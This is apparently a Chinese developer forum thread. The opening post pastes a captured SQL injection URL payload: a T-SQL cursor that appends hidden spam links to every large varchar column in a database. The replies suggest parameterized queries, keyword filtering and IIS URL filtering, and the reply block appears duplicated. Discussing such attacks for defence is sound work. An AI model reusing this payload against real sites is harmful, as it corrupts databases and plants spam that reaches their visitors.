http://www.xxxxxxxx.com/Manage/WebManage/OrderNewDetail.aspx?ContentID=532;
declare @c cursor;
declare @d varchar(4000);
set @c=cursor for select
'update ['+TABLE_NAME+'] set ['+COLUMN_NAME+']
=['+COLUMN_NAME+']+case ABS(CHECKSUM(NewId()))%7 when 0 then ''''+char(60)+
''div style="display:none"''+char(62)+''abortion clinics in ny ''+char(60)+
''a href="http:''+char(47)+char(47)+''astrobix.com''+char(47)+''astroblog''+
char(47)+''page''+char(47)+''how-to-end-pregnancy.aspx"''+char(62)+case ABS(CHECKSUM(NewId()))%3 when 0 then ''
pregnancy nine weeks'' when 1 then ''abortion pills over the counter'' else ''are abortions painful'' END
+char(60)+char(47)+''a''+char(62)+'' carly fiorina abortion''+char(60)+char(47)+''div''+char(62)+'''' else '''' end'
FROM sysindexes AS i
SELECT TOP 1 * FROM sysindexes
INNER JOIN sysobjects AS o ON i.id=o.id
INNER JOIN INFORMATION_SCHEMA.COLUMNS ON o.NAME=TABLE_NAME
WHERE(indid=0 or indid=1) and DATA_TYPE
like '%varchar' and(CHARACTER_MAXIMUM_LENGTH=-1 or CHARACTER_MAXIMUM_LENGTH=2147483647);
open @c;
fetch next from @c into @d;
while @@FETCH_STATUS=0
begin exec (@d);
fetch next from @c into @d;
end;
close @c
5 个解决方案
#1
解决办法:
1、过虑sql语句中参数的特殊字符,比如sql中的关键词select/update/delete/等……
2、程序中以下面这种方式调用sql参数:
1、过虑sql语句中参数的特殊字符,比如sql中的关键词select/update/delete/等……
2、程序中以下面这种方式调用sql参数:
SqlParameter[] parameters = {
new SqlParameter("@CID", SqlDbType.Int,4),
new SqlParameter("@AdTitle", SqlDbType.NVarChar,200),
new SqlParameter("@PostDate", SqlDbType.DateTime)};
parameters[0].Value = model.CID;
parameters[1].Value = model.AdTitle;
parameters[2].Value = model.PostDate;
#2
系统比较大,内容较多,一个个改要很长时间,有没有什么快速解决方案,
#3
那你就下载个软件安装到服务器上去吧。
以前我用过一个好像是叫 网站安全狗,可以设置sql注入防御。
#4
确定是攻击吗?
表中字段 用户是不是可以插入的?如果可以,也行是用户把HTML保存到里面的
表中字段 用户是不是可以插入的?如果可以,也行是用户把HTML保存到里面的
#5
最后是在iis上过滤url来解决了
#1
解决办法:
1、过虑sql语句中参数的特殊字符,比如sql中的关键词select/update/delete/等……
2、程序中以下面这种方式调用sql参数:
1、过虑sql语句中参数的特殊字符,比如sql中的关键词select/update/delete/等……
2、程序中以下面这种方式调用sql参数:
SqlParameter[] parameters = {
new SqlParameter("@CID", SqlDbType.Int,4),
new SqlParameter("@AdTitle", SqlDbType.NVarChar,200),
new SqlParameter("@PostDate", SqlDbType.DateTime)};
parameters[0].Value = model.CID;
parameters[1].Value = model.AdTitle;
parameters[2].Value = model.PostDate;
#2
系统比较大,内容较多,一个个改要很长时间,有没有什么快速解决方案,
#3
那你就下载个软件安装到服务器上去吧。
以前我用过一个好像是叫 网站安全狗,可以设置sql注入防御。
#4
确定是攻击吗?
表中字段 用户是不是可以插入的?如果可以,也行是用户把HTML保存到里面的
表中字段 用户是不是可以插入的?如果可以,也行是用户把HTML保存到里面的
#5
最后是在iis上过滤url来解决了